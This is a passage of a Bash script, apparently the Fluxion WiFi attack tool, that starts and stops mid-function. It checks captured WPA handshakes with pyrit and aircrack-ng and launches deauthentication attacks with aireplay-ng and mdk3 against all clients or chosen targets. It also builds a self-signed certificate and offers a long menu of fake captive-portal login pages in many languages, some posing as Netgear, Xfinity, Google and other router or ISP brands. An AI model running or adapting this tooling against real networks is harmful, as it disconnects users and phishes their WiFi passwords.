$2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE 